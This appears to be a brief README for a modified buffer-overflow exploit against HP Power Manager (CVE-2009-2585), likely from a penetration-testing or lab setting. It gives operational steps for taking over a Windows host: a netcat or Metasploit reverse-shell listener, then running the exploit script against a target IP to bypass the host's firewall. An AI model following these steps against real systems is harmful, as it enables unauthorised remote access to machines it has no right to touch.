It is a version modified of the original exploit by Muhammad Haidari (https://raw.githubusercontent.com/Muhammd/HP-Power-Manager/master/hpm_exploit.py). The modification includes a payload which allows to obtain a reverse shell to avoid to open ports in the Windows'target which the firewall's windows will be closed it.
At firts, put a listener:
nc lvp 443
Or using the metasploit module:
/exploit/multi/handler with payload: windows/shell_reverse_tcp
Now, you can launch the exploit:
python CVE2009-2585_HP_Power_Manager_BoF.py IP